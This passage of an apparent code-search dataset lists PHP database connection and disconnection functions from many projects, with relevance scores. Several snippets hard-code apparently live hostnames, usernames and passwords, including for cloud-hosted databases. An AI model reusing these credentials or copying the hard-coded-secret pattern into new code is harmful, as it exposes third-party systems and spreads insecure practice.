database configuration file\");}\n if ($environment === false) {throw new \\Exception(\"Error reading database configuration file\");}\n // connect to the postgresql database\n $connection = sprintf(\"pgsql:host=%s;port=%d;dbname=%s;user=%s;password=%s\", \n $environment['host'], \n $environment['port'], \n ltrim($environment[\"path\"], \"/\"), \n $environment['user'], \n $environment['pass']);\n \n $pdo = new \\PDO($connection);\n $pdo->setAttribute(\\PDO::ATTR_ERRMODE, \\PDO::ERRMODE_EXCEPTION);\n \n return $pdo;\n\n }", "private function connectToDb()\n {\n //home connect\n $link =pg_connect(\"host=localhost dbname=user1 user=postgres\");\n if(!$link)\n {\n die('Connect Error');\n }\n $this->dbConnect = $link;\n }", "function connectSql()\n{\n $host = '';\n $username = '';\n $password = '';\n $database = '';\n $link = connect($host, $username, $password, $database);\n return $link;\n}", "public function connectToDB() {}", "function _connect($str,$user='',$pwd='',$db='',$ctype=0)\n\t{\n\t\tif (!function_exists('pg_connect')) return null;\n\n\t\t$this->_errorMsg = false;\n\n\t\tif ($user || $pwd || $db) {\n\t\t\t$user = adodb_addslashes($user);\n\t\t\t$pwd = adodb_addslashes($pwd);\n\t\t\tif (strlen($db) == 0) $db = 'template1';\n\t\t\t$db = adodb_addslashes($db);\n\t\t\tif ($str) {\n\t\t\t\t$host = explode(\":\", $str);\n\t\t\t\tif ($host[0]) $str = \"host=\".adodb_addslashes($host[0]);\n\t\t\t\telse $str = '';\n\t\t\t\tif (isset($host[1])) $str .= \" port=$host[1]\";\n\t\t\t\telse if (!empty($this->port)) $str .= \" port=\".$this->port;\n\t\t\t}\n\t\t\tif ($user) $str .= \" user=\".$user;\n\t\t\tif ($pwd) $str .= \" password=\".$pwd;\n\t\t\tif ($db) $str .= \" dbname=\".$db;\n\t\t}\n\n\t\t//if ($user) $linea = \"user=$user host=$linea password=$pwd dbname=$db port=5432\";\n\n\t\tif ($ctype === 1) { // persistent\n\t\t\t$this->_connectionID = pg_pconnect($str);\n\t\t} else {\n\t\t\tif ($ctype === -1) { // nconnect, we trick pgsql ext by changing the connection str\n\t\t\t\tstatic $ncnt;\n\n\t\t\t\tif (empty($ncnt)) $ncnt = 1;\n\t\t\t\telse $ncnt += 1;\n\n\t\t\t\t$str .= str_repeat(' ',$ncnt);\n\t\t\t}\n\t\t\t$this->_connectionID = pg_connect($str);\n\t\t}\n\t\tif ($this->_connectionID === false) return false;\n\t\t$this->Execute(\"set datestyle='ISO'\");\n\n\t\t$info = $this->ServerInfo();\n\t\t$this->pgVersion = (float) substr($info['version'],0,3);\n\t\tif ($this->pgVersion >= 7.1) { // good till version 999\n\t\t\t$this->_nestedSQL = true;\n\t\t}\n\n\t\t# PostgreSQL 9.0 changed the default output for bytea from 'escape' to 'hex'\n\t\t# PHP does not handle 'hex' properly ('x74657374' is returned as 't657374')\n\t\t# https://bugs.php.net/bug.php?id=59831 states this is in fact not a bug,\n\t\t# so we manually set bytea_output\n\t\tif ( !empty($this->connection->noBlobs) && version_compare($info['version'], '9.0', '>=')) {\n\t\t\t$this->Execute('set bytea_output=escape');\n\t\t}\n\n\t\treturn true;\n\t}", "abstract public function getConnection();", "public function ConectarBDD(){\r\n $this->conexion=pg_connect('dbname=sanjuanitas user=DBA password=12345678');\r\n if(!$this->conexion){\r\n echo json_encode(\"Error al intentar conectar la base de datos\");\r\n }\r\n }", "public function getConnection();", "public function getConnection();", "public function getConnection();", "public function getConnection();", "public function getConnection();", "public function getConnection();", "public function getConnection();", "public function getConnection();", "public function getConnection();", "public function getConnection();", "public function getConnection();", "public function getConnection();", "function connect_pg_heroku() {\n $db = pg_connect(getenv('CONNECTION_STRING'));\n if (!$db) {\n echo \"Database connection error.\";\n die();\n }\n return $db;\n}", "public function createClient(){\n $config = new DBALConfiguration();\n $this->dbConnection = DBALDriverManager::getConnection($this->config, $config);\n }", "public function open_connection(){\n $srv=self::$db_host;\n $opc=array(\"Database\"=>$this->db_name, \"CharacterSet\"=>\"UTF-8\", \"UID\"=>self::$db_user, \"PWD\"=>self::$db_pass);\n $this->conn = sqlsrv_connect($srv,$opc) or die (print_r('Error al conectar con la Base de Datos SQLSRV !!! Favor de Informar a Sistemas!!!'));\n #(print_r(sqlsrv_errors(), true));\n }", "function create_db_connection($host, $user, $password, $dbname, $new_connection = FALSE, $persistency = FALSE)\n{\n\tglobal $phpraid_config;\n\t\n\t// If you are using PHP 4 and need to be instanciating objects by reference, uncomment the second \"$connection\" string below and\n\t// comment the first one.\n\t$connection = new sql_db($host , $user, $password, $dbname, $new_connection, $persistency);\t\t\n\t//$connection = &new sql_db($host, $user, $password, $dbname, $new_connection, $persistency);\t\t\n\t\n\treturn $connection;\n}", "public function conect_ssql(){\n\n $conn = mssql_connect($this->servidor, $this->usuario, $this->senha);\n if($conn == FALSE) die(\"Couldn't connect\");\n\n if(mssql_select_db($this->dbname, $conn))\n $result = \"Selected {$this->dbname} ok<br />\";\n else\n die('Failed to select DB');\n }", "public function connect($config)\n {\n extract($config);\n $host_dsn = isset($host) ? 'host='.$host.';' : '';\n $dsn = 'pgsql:'.$host_dsn.'dbname='.$database;\n\n if (isset($config['port'])) {\n $dsn .= ';port='.$config['port'];\n }\n\n $connection = new PDO($dsn, $username, $password, $this->options($config));\n\n if (isset($config['charset'])) {\n $connection->prepare(\"SET NAMES '\".$config['charset'].\"'\")->execute();\n }\n\n if (isset($config['schema'])) {\n $connection->prepare('SET search_path TO '.$config['schema'])->execute();\n }\n\n return $connection;\n }", "function getConn()\n{\n // Naam van server\n $hostname = 'host.docker.internal';\n // Naam van database\n $dbname = 'FLETNIX';\n // Hier je eigen gebruikersnaam\n $username = 'Groepje8';\n // Hier je eigen password.\n // Zet het wachtwoord in het echt nooit letterlijk in de broncode.\n $pw = 'helloworld';\n\n $dbh = new PDO(\n \"sqlsrv:Server=$hostname;Database=$dbname;ConnectionPooling=0\",\n $username,\n $pw\n );\n // Tijdens het ontwikkelen is het handig om meteen ook de foutmeldingen vanuit de database te kunnen lezen.\n $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n return $dbh;\n}", "function db_connect() {\r\n $conn = new mysqli('localhost','shadow_admin', 'passwd', 'shadow');\r\n if (!$conn) {\r\n throw new Exception ('Could not connect to database server.');\r\n } else {\r\n $result = $conn->query(\"set names utf8\");\r\n\t\t\t$conn->autocommit(TRUE);\r\n return $conn;\r\n }\r\n }", "function connect() {\n include(\"salon_connect.php\");\n\t\t\n \n\t\t$connection = mysqli_connect(DB_server,DB_user,DB_pass,DB_data);\n\n return $connection;\n }", "protected function createDatabaseConnection()\r\n\t{\r\n\t\t$this->dbConnectionPool = new \\Bitrix\\Main\\Db\\DbConnectionPool();\r\n\t}", "function check_pg_connect($server, $dbname, $user, $passwd)\n{\n $connect = pg_connect(\"host=$server dbname=$dbname user=$user password=$passwd\");\n if(!$connect) //Connection failure\n {\n return false;\n }\n pg_close($connect);\n return true;\n}", "public function openConnection(){\n\n $this->conn = null;\n\n // for non PDO Connection:\n $serverName = \"tcp:\" . $this->host . \",\" . $this->port;\n $connectionOptions = array(\"Database\"=>$this->db_name,\"Uid\"=>$this->username, \"PWD\"=>$this->password);\n\n // for PDO Connection:\n// $serverName = \"tcp:$this->host,$this->port\";\n $serverName = \"tcp:$this->host,$this->port\";\n $connectionString = \"sqlsrv:server=$serverName; Database=$this->db_name\";\n\n try{\n// $this->conn = sqlsrv_connect($serverName, $connectionOptions);\n $this->conn = new PDO( $connectionString, $this->username, $this->password);\n\n if($this->conn == false){\n die(FormatErrors(sqlsrv_errors()));\n }\n }catch(Exception $exception){\n echo \"Connection error: \" . $exception->getMessage();\n }\n\n return $this->conn;\n }", "public function createConnection() {\n // below code is used to create connection usinf Orientdb\n $client = new PhpOrient($this->config['host'],$this->config['port']);\n $client->username = $this->config['username'];\n $client->password = $this->config['password'];\n if(Cache::has('odb_session_token')) {\n $client->setSessionToken(Cache::get('odb_session_token'));\n\n }else {\n $client->setSessionToken(true);\n Cache::forever('odb_session_token',$client->getSessionToken());\n }\n if($client->connect()){\n $this->clusterMap= $client->dbOpen( $this->config['database'], $this->config['username'], $this->config['password']);\n }\n return $client;\n }", "function connect()\r\n {\r\n $conn = oci_connect('ptr', 'ptr', 'ptrmanagement.online:1521/xe');\r\n\r\n if (!$conn) \r\n {\r\n $e = oci_error();\r\n trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);\r\n }\r\n else\r\n return $conn;\r\n }", "function pg_connection_string_from_database_url() {\n extract(parse_url(getenv(\"HEROKU_POSTGRESQL_COBALT_URL\")));\n return \"user=$user password=$pass host=$host dbname=\" . substr($path, 1);\n }", "function connect() \n\t{\n include(\"salon_connect.php\");\n\t\t\n \n\t\t$connection = mysqli_connect(DB_server,DB_user,DB_pass,DB_data);\n\n return $connection;\n }", "function connect() \n\t{\n include(\"salon_connect.php\");\n\t\t\n \n\t\t$connection = mysqli_connect(DB_server,DB_user,DB_pass,DB_data);\n\n return $connection;\n }", "private function dbConnection() {\r\n //if (!is_resource($this->connessione))\r\n // $this->connessione = mysql_connect($this->db_server,$this->db_username,$this->db_pass) or die(\"Error connectin to the DBMS: \" . mysql_error());\r\n if (!is_resource($this->connessione)) {\r\n try {\r\n $this->connessione = new PDO($this->db_type . \":dbname=\" . $this->db_name . \";host=\" . $this->db_server, $this->db_username, $this->db_pass);\r\n //echo \"PDO connection object created\";\r\n $this->setupSQLStatement();\r\n } catch (PDOException $e) {\r\n echo $e->getMessage();\r\n die();\r\n }\r\n }\r\n }", "function createConnection( ) {\n global $conn;\n // Create connection object\n $conn = new mysqli(SERVER_NAME, DBF_USER_NAME, DBF_PASSWORD);\n // Check connection\n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n } \n }", "function pg_connection_string_from_database_url() {\n extract(parse_url($_ENV[\"DATABASE_URL\"]));\n return \"user=$user password=$pass host=$host dbname=\" . substr($path, 1); # <- you may want to add sslmode=require there too\n}", "function pg_connection_string_from_database_url() {\n extract(parse_url($_ENV[\"DATABASE_URL\"]));\n return \"user=$user password=$pass host=$host dbname=\" . substr($path, 1); # <- you may want to add sslmode=require there too\n}", "public function __construct(){\n\t\t\t$this->db = new PDO('pgsql:host=centraldepush.postgresql.dbaas.com.br;dbname=centraldepush', 'centraldepush', 'lampada@@6458');\n\t\t\t$this->db->exec(\"SET NAMES 'UTF8'\");\n\t\t}", "public function connect()\r\n\t{\r\n\t\t$this->conn = mssql_connect( $this->host, $this->user, $this->pwd );\r\n\t\tif( !$this->conn )\r\n\t\t\ttrigger_error( $this->lastError(), E_USER_ERROR );\r\n\t\t\r\n\t\tmssql_select_db( $this->dbname, $this->conn );\r\n\t\treturn $this->conn;\r\n\t}", "public function connectDB() {}", "function connect ($config)\n {\n if ($config)\n {\n $this->config = $config;\n $this->_conn = pg_pconnect(\"host={$config['host']} dbname={$config['database']} user={$config['login']} password={$config['password']}\");\n }\n $this->connected = $this->_conn? true: false;\n\n if($this->connected)\n return true;\n else\n {\n //die('Could not connect to DB.');\n }\n }", "public function connect($db_properties);", "private function _connect()\n {\n Horde::assertDriverConfig($this->_params, 'storage',\n array('phptype', 'charset'));\n\n if (!isset($this->_params['database'])) {\n $this->_params['database'] = '';\n }\n if (!isset($this->_params['username'])) {\n $this->_params['username'] = '';\n }\n if (!isset($this->_params['hostspec'])) {\n $this->_params['hostspec'] = '';\n }\n if (isset($this->_params['prefix'])) {\n $this->prefix = $this->_params['prefix'];\n }\n\n /* Connect to the SQL server using the supplied parameters. */\n require_once 'DB.php';\n $this->write_db = &DB::connect($this->_params,\n array('persistent' => !empty($this->_params['persistent'])));\n if ($this->write_db instanceof PEAR_Error) {\n throw new Horde_Exception($this->write_db);\n }\n\n // Set DB portability options.\n switch ($this->write_db->phptype) {\n case 'mssql':\n $this->write_db->setOption('portability', DB_PORTABILITY_LOWERCASE | DB_PORTABILITY_ERRORS | DB_PORTABILITY_RTRIM);\n break;\n default:\n $this->write_db->setOption('portability', DB_PORTABILITY_LOWERCASE | DB_PORTABILITY_ERRORS);\n }\n\n /* Check if we need to set up the read DB connection seperately. */\n if (!empty($this->_params['splitread'])) {\n $params = array_merge($this->_params, $this->_params['read']);\n $this->db = &DB::connect($params,\n array('persistent' => !empty($params['persistent'])));\n if ($this->db instanceof PEAR_Error) {\n throw new Horde_Exception($this->db);\n }\n\n // Set DB portability options.\n switch ($this->db->phptype) {\n case 'mssql':\n $this->db->setOption('portability', DB_PORTABILITY_LOWERCASE | DB_PORTABILITY_ERRORS | DB_PORTABILITY_RTRIM);\n break;\n default:\n $this->db->setOption('portability', DB_PORTABILITY_LOWERCASE | DB_PORTABILITY_ERRORS);\n }\n\n } else {\n /* Default to the same DB handle for the writer too. */\n $this->db =& $this->write_db;\n }\n\n return true;\n }", "function connectDB($mode = 'all'){\n\tglobal $DEV_MODE;\n\n\tif ($mode=='RO'){\n\t\t$user = \"wwwro\";\n\t}else{\n\t\t$user = \"www\";\n\t}\n\n\tif ($DEV_MODE){\n\t\techo \"<h3 style=\\\"color: red\\\">THIS IS USING THE TEST DATABASE</h3>\";\n\t\t$db= pg_connect(\"host=sequel1.cac.washington.edu dbname=cactoolstest user=$user\");\n\t} else {\n\t\t$db= pg_connect(\"host=sequel1.cac.washington.edu dbname=cactools user=$user\");\n\t}\n\tpg_query($db, \"set DateStyle to SQL\");\n\treturn($db);\n}", "public function connect()\n {\n // ==== A connection was attempted ==== //\n $this->conn_trigger = true;\n\n // ==== Building connection string ==== //\n $conn_string = \"host=\" . $this->options['host'] . \" \";\n $conn_string .= \"dbname=\" . $this->options['db'] . \" \";\n $conn_string .= \"user=\" . $this->options['user'] . \" \";\n $conn_string .= \"password=\" . $this->options['passwd'] . \" \";\n $conn_string .= \"port=\" . $this->options['port'];\n\n // ==== Connecting to the database ==== //\n $this->link = pg_connect($conn_string);\n\n // ==== Checking if the connection was successfull\n if($this->link == false)\n {\n return false;\n }\n else\n {\n return true;\n }\n }", "function connexionDb()\n{\n $confDb = getConfigFile()['DATABASE'];\n\n\n $type = $confDb['type'];\n $host = $confDb['host'];\n $servername = \"$type:host=$host\";\n $username = $confDb['username'];\n $password = $confDb['password'];\n $dbname = $confDb['dbname'];\n\n $db = new PDO(\"$servername;dbname=$dbname\", $username, $password);\n return $db;\n}", "function openCon()\r\n {\r\n //Credentials\r\n $servername = \"ls-1f9fbdc4cb3ac2e7c45e19fad57c73926ef8a497.cyneooocbzlz.eu-west-2.rds.amazonaws.com:3306\";\r\n $username = \"dbmasteruser\";\r\n $password = \"mAgHsPDX3Z+DBtMaGs}Lo,wGpXV`%zwz\";\r\n $database = \"dbmaster\";\r\n //Create connection\r\n $conn = new mysqli($servername, $username, $password, $database);\r\n //Check connection\r\n if ($conn->connect_error) {\r\n echo \"FAIL\";\r\n die(\"Connection failed: \" . $conn->connect_error);\r\n }\r\n\r\n return $conn;\r\n }", "function pg_connection_string_from_database_url() {\n extract(parse_url($_ENV[\"DATABASE_URL\"])); \n// echo \"user=$user password=$pass host=$host dbname=\" . substr($path, 1) . \" port=$port sslmode=require\"; \n// echo \"<BR>\";\n return \"user=$user password=$pass host=$host dbname=\" . substr($path, 1) . \" port=$port sslmode=require\"; # <- you may want to add sslmode=require there too\n}", "private function Connect() {\n $this->Conn = parent::getConn();\n $this->Create = $this->Conn->prepare($this->Create);\n }", "private function connecDb()\n {\n try{\n $dsn = \"{$this->db_type}:host={$this->db_host};port={$this->db_port};\";\n $dsn .= \"dbname={$this->db_name};charset={$this->db_charset}\";\n //echo \"$dsn, $this->db_user, $this->db_pass\";\n $this->pdo = new PDO($dsn,$this->db_user,$this->db_pass);\n }catch(PDOException $e){\n echo\"<h2>创建POD对象失败</h2>\";\n $this->ShowErrorMessage($e);\n die();\n }\n }", "function ingres_connect($database = NULL, $username = NULL, $password = NULL, $options = array())\n{\n}", "function connectionDB()\n{\n try\n {\n $pdo_options[PDO::ATTR_ERRMODE] = PDO::ERRMODE_EXCEPTION;\n //$db = new PDO('mysql:host=localhost;dbname=CPL', 'root', '', $pdo_options);\n $db = new PDO('pgsql:host=woody;dbname=ar101518', 'ar101518', 'ridhoimi', $pdo_options);\n }\n catch (Exception $e)\n {\n die('Erreur : ' . $e->getMessage());\n }\n\n return $db;\n}", "private function Connect(){\n $this->Conn = parent::getConn();\n $this->Create = $this->Conn->prepare($this->Create);\n }", "function connect() {\n\t$host = 'dragon.ukc.ac.uk';\n\t\t$dbname = 'ss2159';\n\t\t$user = 'ss2159';\n\t\t$pwd = 'cap!apu';\n\t\t\n\t\ttry {\n\t\t\t$conn = new PDO(\"mysql:host=$host;dbname=$dbname\", $user, $pwd);\n\t\t\t$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t\t\t// from www4 PHPSQL class model answer\n\t\t\tif ($conn) {\n\t\t\t\t\t\t\treturn $conn;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\techo 'Failed to connect';\n\t\t\t\t\t\t}\t\n\t\t}\n\t\tcatch (PDOException $e) {\n\t\t\techo \"PDOException: \".$e->getMessage();\n\t\t}\n}", "public function StartBD(){\n if (!$this->BDCon){\n $this->BDCon = pg_connect(\"dbname=$this->db_name port=$this->db_port host=$this->db_host user=$this->db_username password=$this->db_password\") or die(\"No se pudo CONECTAR a la BD\");\n }else{\n $this->EndBD();\n die(\"Doble conexion a BD\");\n }\n \n }", "function _getConnection()\n {\n $this->_con = Pluf::db();\n }", "function getConnection();", "abstract public function OpenConnection( $user, $pass, $ip, $port, $db, $options );", "function connect_to_db(){\n\t\t//Fun Fact: @ suppresses errors of the expression it prepends\n\t\t\n\t\t//Connect to the database and select the database\t\t\t\n\t\ttry{\n\t\t\t$this->connection = new PDO(\"mysql:host=$DATABASE_HOST;dbname=DATABASE_NAME\", DATABASE_USER, DATABASE_PASS);\n\t\t\t$this->connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t\t}catch(PDOException $err){\n\t\t\tdie('Could not connect to database' . $err->getMessage());\n\t\t}\t\t\n\t}", "public function connect()\r\n\t{\r\n\t\t$conn_string = \"DATABASE=\".$this->dbname.\";HOSTNAME=\".$this->host.\";PORT=\".$this->port.\";PROTOCOL=TCPIP;UID=\".$this->user.\";PWD=\".$this->pwd.\";\";\r\n\t\t$this->conn = db2_connect($conn_string, '', '');\r\n\t\t\r\n\t\tif( !$this->conn ) \r\n\t\t\ttrigger_error( db2_conn_errormsg(), E_USER_ERROR );\r\n\t\t\r\n\t\treturn $this->conn;\r\n\t}", "function mssql_connect($servername = NULL, $username = NULL, $password = NULL, $new_link = false)\n{\n}" ]
[ "0.7810851", "0.72651434", "0.72038406", "0.71034694", "0.70919365", "0.7058086", "0.7037945", "0.7014107", "0.700387", "0.700387", "0.7002035", "0.6928738", "0.692087", "0.6908195", "0.68989146", "0.6871471", "0.6849338", "0.6846248", "0.68344164", "0.6831336", "0.682009", "0.6780089", "0.6767154", "0.67520887", "0.6749636", "0.67275697", "0.6726941", "0.6694496", "0.66631633", "0.6653679", "0.6616576", "0.6595518", "0.65935946", "0.65933543", "0.65921116", "0.65851164", "0.655217", "0.65370464", "0.649177", "0.6446119", "0.64429826", "0.64360976", "0.6416224", "0.6397182", "0.6397182", "0.6397182", "0.6397182", "0.6397182", "0.6397182", "0.6397182", "0.6397182", "0.6397182", "0.6397182", "0.6397182", "0.6397182", "0.6381904", "0.6351671", "0.63480103", "0.6339102", "0.63381153", "0.63048", "0.6291954", "0.6289957", "0.62813914", "0.627156", "0.62705874", "0.6264138", "0.62605", "0.6243182", "0.6241385", "0.6239937", "0.6239937", "0.623354", "0.6232735", "0.6230119", "0.6230119", "0.62284786", "0.62270486", "0.62226975", "0.6222389", "0.6202228", "0.6194179", "0.61922586", "0.61885023", "0.6185629", "0.61845016", "0.6163101", "0.6158145", "0.61429924", "0.6138382", "0.6136087", "0.61353844", "0.61291313", "0.6108307", "0.61056", "0.60943556", "0.60910004", "0.6080568", "0.6077125", "0.6063676" ]
0.7293275
1
////////////////////////////////////////////////////////////////////////// DISCONNECT FROM THE POSTGRESQL SERVER //////////////////////////////////////////////////////////////////////////
public function disconnect($trigger=true) { parent::disconnect($trigger); if (!$this->connection) return; pg_close($this->connection); $this->connection = NULL; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function _disconnect()\n {\n //\tDisconnect\n $this->_db->conn = null;\n $this->_db->clear();\n }", "protected function connectionDestruct()\t{}", "function db_disconnect()\n\t{\n\t\tpg_close($this->db_connection);\n\t}", "function disconnect(){\n\t\t$this->dbconn = null;\n\t\t$this->logger->info('RECOLIN DB DB disconnected successfully');\n\t}", "function disconnect_from_db () {\n\tglobal $conn;\n\t$conn = null;\n}", "public function disconnect() {\n $this->db = null;\n }", "abstract protected function dbDisconnect();", "function destroy_connection(){\n\t\t//if($this->dbconn != null)\n\t\t//\t$this->dbconn->disconnect();\n\t\tunset($this->dbconn);\n\t}", "function sql_disconnect() {\n\tif( ($sql = var_set('sql/dbConnection')) !== null ){\n\t\treturn var_unset('sql/dbConnection');\n\t}\n\treturn TRUE;\n}", "function sql_disconnect(&$dbh=NULL) {\n global $SQL_DBH;\n if (is_null($dbh)) $SQL_DBH = NULL;\n else $dbh = NULL;\n }", "public function disconnect() {\n $this->db = null;\n }", "public function disconnect()\n {\n $this->setPdo(null);\n }", "public function __destruct() {\n if ($this->conn != FALSE) {\n //pg_close($this->conn);\n }\n }", "public function Desconecta()\n\t{\n\t\t$this->conn = null;\n\t}", "public function disconnect(){\n\t\t$this->Connection = null;\n\t}", "public function disconnect() {\n \n $this->con = null;\n \n }", "public function disconnect() {\n if (isset($this->dbCon) && $this->dbCon) {\n //$this->dbCon = null;\n }\n }", "public function disconnect()\n {\n \t//$GLOBALS['log']->debug('Calling DBManager::disconnect()');\n $close = $this->backendFunctions['close'];\n if(isset($this->database)){\n $this->freeResult();\n if ( is_resource($this->database) || is_object($this->database) )\n\t\t\t\t$close($this->database);\n unset($this->database);\n }\n }", "function desconectar($conn) {\n oci_close($conn);\n }", "public function disConnect();", "public function __destruct()\n {\n $this -> conn = null;\n }", "public function __destruct() {\n $this->conn = null;\n }", "protected function disconnect()\n {\n $this->conn_queries = 0;\n @$this->dbh->close();\n }", "public function disconnect()\n {\n $this->pdo = null;\n }", "function dbdisconnect($db_conn){\n\t$db_conn->close();\n}", "public function __destruct(){\n\t\t $this->conn = null;\n\t\t}", "function closeConection($link){\n pg_close($link);\n\t}", "public function __destruct() {\n $conn = null;\n }", "public function disconnect()\n {\n $this->db->dispose();\n }", "public function disconnect() {\n $this->exec('exit;');\n $this->connection = null;\n }", "public function conn_close(){\n $this->conn = null;\n }", "public function disconnect(): void\n {\n $this->pdo = null;\n }", "public function cerrar_pg () {\r\n pg_close($this->link);\r\n }", "public static function disconnect()\n\t{\n\t\tself::getConnection()->disconnect();\n\t}", "public function disconnect()\n\t{\n\t\t$this->_connection = null;\n\t}", "public function disconnect();", "public function disconnect();", "public function disconnect();", "public function disconnect();", "public function disconnect();", "public function disconnect();", "public function disconnect();", "public function disconnect();", "public function disconnect(){\n\t\n\t//TODO: Custom Error reporting\n\ttry {\n\t\t\n\t\t\t$this->_db = NULL;\n\t\t\t}\n\tcatch(PDOException $e) {\n\t\t\t//xxx Custom Error thingy!!!\n\t\t\t_b($e->getMessage());\n\t\t}\n\t\t\t\t\n\t}", "function DisConnect()\n\t{\n\t\t$this->__connection = null;\n\t\t$this->__connected = false;\n\t}", "protected function disconnect()\n {\n $this->pd = null;\n }", "function DbDisconnect() { \n \t\t$this->close = @mysql_close($this->linkId) or die (\"Error in disconnecting to server: \".mysql_error()); \n\t}", "public function CloseConnectDB(){\n $this->PDO = null;\n }", "function deleteConnectionString(){\n define(\"dHOST\", \"dHOST.ie\");\n define(\"dUSER\", \"dUSER\");\n define(\"dPASS\", \"dPASS\");\n define(\"dDB\", \"dDB\");\n $connection = mysqli_connect(dHOST, dUSER, dPASS);\n if (!$connection) {\n trigger_error(\"Could not reach database!<br/>\");\n include(\"logs/logsMail-1dir.php\");\n exit();\n }\n $db_selected = mysqli_select_db($connection, dDB);\n if (!$db_selected) {\n trigger_error(\"Could not reach database!<br/>\");\n include(\"logs/logsMail-1dir.php\");\n exit();\n } \n return $connection;\n }", "function disconnect_from_database ($conn) {\n mysqli_close ($conn);\n }", "function cubrid_drop($conn_identifier, $oid)\n{\n}", "public static function disconnect() {\n self::$PDO = null;\n }", "public function __destruct()\n {\n $this->connection = null;\n }", "public function __destruct()\n {\n $this->connection = null;\n }", "public function __destruct() {\n // disconnect\n $this->host = null;\n }", "public function disconnect() {\n $this->exec('echo \"EXITING\" && exit;');\n $this->connection = null;\n }", "function db_disconnect()\n{\n\tglobal $dbh;\n\n\tif (!isset($dbh))\n\t\t// Already disconnected.\n\t\treturn;\n\n\t$dbh->close();\n\t$dbh = NULL;\n\treturn;\n}", "public function __destructor(){\n $this->connect->close();\n }", "function __destruct() {\n $this->connection = null;\n }", "public function __destruct()\n {\n $this->conn = false;\n if ($this->driver) {\n unset($this->driver);\n }\n }", "public function __destruct() {\n $this->conn && $this->conn->close();\n }", "public function __destruct() {\n if ( !is_null( $this->_conn ) && true === $this->_is_connected ) {\n $this->_conn->close();\n }\n }", "public function disconnect()\n {\n parent::disconnect();\n\n unset($this->connection);\n }", "public function desconectar(){\r\n\t\tmysqli_close($this->conexion);\r\n\t}", "public function desconectar(){\n mysqli_close($this->conexion);\n }", "private function closeConnection(){\n $this->db =null;\n }", "function Disconnect()\n {\n //SQL::CleanOverhead();\n mysql_close($this->LinkID);\n #$mysqli->close;\n }", "private function deconnexion()\n\t\t{\n\t\t\tmysql_close($this->id);\n\t\t\t\n\t\t}", "function RemoveConnection(){\n\t\tglobal $dbh;\n\n\t\t$this->MakeSafe();\n\t\t$sql=\"DELETE FROM fac_PowerConnection WHERE PDUID=$this->PDUID AND \n\t\t\tPDUPosition=\\\"$this->PDUPosition\\\";\";\n\n\t\tif($this->CanWrite()){\n\t\t\tif($dbh->exec($sql)){\n\t\t\t\t(class_exists('LogActions'))?LogActions::LogThis($this):'';\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "public function __destruct()\r\n\t{\r\n\t\tis_resource($this->link) and odbc_close($this->link);\r\n\t}", "public function __destruct()\n\t\t{\n\t\t\t$this->connection->close();\n\t\t\t//echo 'Desconectado';\n\t\t}", "public function __destruct()\n {\n \\pg_free_result($this->handle);\n }", "function disconnect() ;", "public function __destruct() {\n unset($this->dbh);\n }", "public function releaseConnection();", "function dbDisconnect($conn) {\n mysqli_close($conn);\n }", "abstract public function disconnect();", "abstract public function disconnect();", "abstract public function disconnect();", "public function disconnect(): void;", "public function CloseConnection()\n {\n $this->db = null;\n }", "function removeConnection(string $name);", "public function benchConnectAndDisconnect(){\n $conn = SqlsrvUtil::connect();\n SqlsrvUtil::disconnect( $conn );\n }", "public function __destruct() {\n \t$this->_connection->close();\n\t}", "function __DESTRUCT() {\n self::disconnect();\n }", "public function close_connection()\n {\n $this->db = null;\n }", "private function close_connection(){\n\t\t$this -> conn -> close();\n\t}", "static function dropAllConnection(){\r\n foreach(self::I()->connection as $name => &$connection)\r\n {\r\n $connection = null;\r\n unset(self::I()->connection[$name]);\r\n }\r\n }", "function closeDBase($conn){\t\n $conn = null;\n}", "public function __destruct() {\n $this->connection->close();\n }", "public function __destruct() {\n $this->close_connection();\n }", "function db_disconnect($link) // Colorize: green\n { // Colorize: green\n $link->close(); // Colorize: green\n }", "public static function disconnect(){\n\t\tself::$cnx = NULL;\t\n\t\t\n\t}", "public function disconnect() \n\t{\n\t\tunset($this->connection);\n\t}", "public function disconnect()\n {\n $this->connection->disconnect();\n }", "public function nuke()\n {\n if( !Master::$cMaster->APICall('0.9.1/db/' . $this->ulA->db->ID . '/ul/' . $this->ulA->ID, array( 'removeConnection' => $this->json() ) ) ){ commandResult( 500, \"Could remove connection \" . $this->description() ); }\n }", "public function closeConnection()\n \t{\n \t\t$this->connection = null;\n \t}", "private function cerrar_conexion() {\n\t\t$this->conn->close();\n\t}", "function dbdisconn ($p_idconn) {\n if (mysql_close ($p_idconn)) {\n\t return true;\n\t }\n\t else {\n\t echo (\"Conexión no cerrada: \". mysql_error($p_idconn));\n\t return false;\n\t }\n }", "public function disconnect()\n{\n\treturn db2_close($this->dbh);\n}", "function teardown() {\n // close database connection\n $this->conn = null;\n }" ]
[ "0.7102594", "0.6873625", "0.68614197", "0.68189", "0.6792601", "0.679082", "0.67660564", "0.67453796", "0.6735111", "0.67269146", "0.66798973", "0.66341996", "0.661089", "0.6593521", "0.65505385", "0.65417963", "0.6538087", "0.6517042", "0.65163743", "0.6486428", "0.6477521", "0.6468971", "0.64520574", "0.64434326", "0.6441188", "0.64405936", "0.6435317", "0.6423443", "0.64027894", "0.6392326", "0.6381003", "0.63680434", "0.63540685", "0.63496363", "0.6344023", "0.6342859", "0.6342859", "0.6342859", "0.6342859", "0.6342859", "0.6342859", "0.6342859", "0.6342859", "0.6339478", "0.6335775", "0.63286084", "0.63147885", "0.63009423", "0.62863475", "0.62820864", "0.62773144", "0.62745804", "0.62559295", "0.62559295", "0.62279034", "0.6220806", "0.62184083", "0.6210985", "0.6194601", "0.619284", "0.619217", "0.61759716", "0.6175397", "0.6171109", "0.61670595", "0.6165778", "0.61612546", "0.6160052", "0.61452097", "0.6142671", "0.61382496", "0.6130187", "0.6127639", "0.6125492", "0.6119423", "0.6118492", "0.6117351", "0.6117351", "0.6117351", "0.6115518", "0.6099576", "0.60967195", "0.60965765", "0.6095601", "0.6091457", "0.6088883", "0.60837317", "0.608355", "0.6083492", 